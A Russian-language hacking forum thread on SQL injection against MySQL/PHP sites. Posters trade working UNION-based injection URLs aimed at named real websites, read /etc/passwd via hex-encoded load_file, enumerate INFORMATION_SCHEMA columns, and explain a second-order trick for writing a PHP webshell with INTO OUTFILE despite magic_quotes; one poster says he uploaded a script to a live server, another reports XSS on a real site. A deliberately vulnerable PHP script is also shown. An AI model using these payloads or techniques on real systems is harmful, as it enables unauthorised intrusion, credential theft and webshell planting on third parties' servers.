Это просто один из вариантов, во многих случаях все гораздо сложнее для определения, имхо кроме того что читать статьи и мануалы, надо хотябы немного головой думать. хотя для чего в предложенном примере ; если описанное относится к связке mysql+php мне не дано понять, I-I()/Ib, или исправь или объясни
Как вам сказать. Каждый что либо делает как ему лично удобнее/приятнее/привычнее. Когда я учил пых и мускул я делал запросы так. Может быть это покажется кому то смешно но только из-за этого в статье указанны ";" после каждого запроса, я не отрицаю их ненужность, НО ЭТО МОЕ ЛИЧНОЕ. Скажем так вам вместо того чтобы цеплятся к мелочам было бы неполохо занятся чем то более полезным. Объяснил? Кстати люди еще хочу обратить внимание на то что вместо громозкой конструкции Code: AES_DECRYPT(AES_ENCRYPT('строка','bla'),'bla') можно использовать Code: UNHEX(HEX('строка')) что есть гораздо удобнее
I-I()/Ib Думаю Scipio имел ввиду ,что такая конструкция как у тебя в пункте 1.4 работать не будет вот пример уязвимого параметра посмотри сам: Найдено Fuckel _http://www.specialradio.ru/mkz/?id=1 вот так : _http://www.specialradio.ru/mkz/?id=1;-- Ничего не добиться Т.е разделять что-то ; в примере Mysql не катит
Ну да каждый выбирает для себя в соответствии с ситуацией Смысл в том, что именно ";" не только не нужна, как ты говоришь, а именно приведет к ошибке, так как используется для разделения запросов, которые не поддерживаются в mysql функциях php Нда, привычки и невнимательность приводят к тому что человек незамечает более простых вещей, так что +
Небольшая фича (ну или не фича): вот есть пример скули: Code: http://www.thefump.com/lyrics.php?id=-99999+union+select+1,load_file(0x2f6574632f706173737764),3,4,USER(),6,7,8,9,10,VERSION(),12,13/* (взял из топика "sql-инекции" если не выдержал копирайтов, извиняйте) смысл в том, что пользователь рут и как видно file_priv есть, но казалось бы шелл через into outfile залить нельзя, так как экранируются кавычки, на самом деле шелл здесь (и в подобных скулях) через into outfile залить не сложно. К теории, есть например такой скрипт: PHP: <?php mysql_connect('localhost','root',''); mysql_select_db('intbrd'); $id=$_GET["id"]; $sql = "SELECT u_id,u__email,u__name FROM `User` where u_id=".$id; $result = MySQL_QUERY($sql); echo mysql_error(); while($us = MySQL_FETCH_ARRAY($result)) {echo $us['u__email'].":".$us['u__name'];echo "<br>"; $onl = MySQL_QUERY("SELECT o_uid,o_key FROM online WHERE o_uid = ".$us["u_id"]); while($usonl = MySQL_FETCH_ARRAY($onl)) echo $usonl["o_uid"].':'.$usonl["o_key"]; } ?> (набросал я его чисто для наглядности и примера и показываю на примере своей бд) обратившись к скрипту: Code: http://localhost/erase.php?id=-2+union+select+1,2,3/* видим обратившись Code: http://localhost/erase.php?id=-2+union+select+0x27,2,3/* (0x27- код кавычки) видим: происходит это потому, что данные полученные виз первого запроса, вставляются во второй запрос. Сделаем "внутренний" инъект-запрос: Code: -2 union select '999',111/* захексим его и подставим в первое поле первого ("внешнего") запроса: Code: http://localhost/erase.php?id=-2+union+select+0x2D3220756E696F6E2073656C6563742027393939272C3131312F2A,2,3/* результат: Code: 2:3 999:111 т.к. данные полученные из sql-запроса не так часто слешируют/фильтруют то получается что этот "внутренний" запрос выполняется без ошибок, даже при наличии кавычек. а если "внутренний" запрос будет: Code: -2 union select '<?php include "shell.php"; ?>,111 into outfile '/bla/bla/bla.php'/* то в запросе PHP: $onl = MySQL_QUERY("SELECT o_uid,o_key FROM online WHERE o_uid = ".$us["u_id"]) он выполнится без проблем даже при magic_quotes on обратимся к первой скуле, если мы в третье поле подставим: Code: -1 union select 'magic_qotes is sux'/* и выполним: Code: http://www.thefump.com/lyrics.php?id=-99999+union+select+1,2,0x2D3120756E696F6E2073656C65637420276D616769635F716F74657320697320737578272F2A,4,5,6,7,8,9,10,11,12,13/* увидим безобидную надпись magic_qotes is sux а могли бы составить и более опасный запрос с присутствием into outfile 'blabla' и он тоже бы выполнился зы скрипт я туда конечно залил, но вот только на серваке отключены системные комманды и отключен Url file-access((
Scipio Смотрел скули, чтоб разобраться как это работает, и вот заинтересовала такая вещь, здесь это прокатывает во вторм поле: http://www.tamizdat.org/article.php?id=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+mysql.user/* а здесь в нескольких полях: http://www.saworship.com/article-page.php?ID=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39/* Почему так?
Посмотрел эти скули шелл можно залить как я описал при наличии папки на запись (в эти подробности не вдовался) почему так? ну я привел пример гда объясняется вся поднаготная почему так, дерзай!
Всё наместе , странно . Почему могут невыводиться ошибки .... Делаю такой запрос к первому скрипту Ж http://localhost/sait/tmp/sql.php?id=1' ----------- Проверте скрипт и такой запрос у себя на локалхосте , мож я что нетак делаю .....
Зароботало , нужно заменить $zapros="SELECT * FROM news WHERE id='".$_GET['id']."';";//Уязвимый запрос на $zapros="SELECT * FROM news WHERE id=".$_GET['id'].";";//Уязвимый запрос
что в этом запросе неверно ??? http://localhost/sait/tmp/sql.php?id=-1+UNION+SELECT+password+FROM+users+WHERE+login=Admin/* результат : Unknown column 'admin' in 'where clause' Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\sait\tmp\sql.php on line 24
http://localhost/sait/tmp/sql.php?id=-1+UNION+SELECT+password+FROM+users+WHERE+'login=Admin'/* You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'login=Admin\'/*' at line 1 Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\sait\tmp\sql.php on line 24 ------------ Поставил кавычки .......... что теперь нетак ?
1. не выводится потому, что после юнион у селекта должно быть столько же параметров сколько и до него, на сколько помню 2. судя по всему ты используешь денвер и magic_quotes у тебя отключены поумолчанию... кодируй Admin в hex Code: ?id=-1+UNION+SELECT+1,2,3,4,password+FROM+users+WHERE+login=0x41646d696e
Статья неплохая, только вот : Почему бы просто не юзать sp c параметрами (следя чтобы эти параметры не юзались с exec ) ?
Вот так делай: chausers переводишь в HEX ВОТ ТУТ, у тебя получится 636861757365727300 и дописываешь перед хексом 0x, потом вставляешь и вот как должно все выглядеть. Кто будет пользоватся этим декодером, удаляйте 2 лишних нуля в конце, 636861757365727300 вот они. Code: http://www.oke.ru/xo4u.php?id=-42708+UNION+select+1,2,COLUMN_NAME,4,5,6,7,8,9,10+%20FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=[COLOR=Red]0x6368617573657273[/COLOR]+LIMIT+0,1/* ЗЫ Кстати там ХСС пашет, в 2х полях: имени и мыле. http://www.oke.ru/xo4u.php?id=-42717
Если такая тема с колонками не проходит, тогда как ты смог имя таблицы узнать? Если знаешь имя таблицы, где должен лежать логин пасс, то просто подбери имя колонки основываясь здравым смыслом, или посмотри в исходнике страницы, через какие переменные передаются значения логина/пасса. ЗЫ Сам этот сервис весьма странный, я не смог там найти ни админки, ни полей логинн/пасс...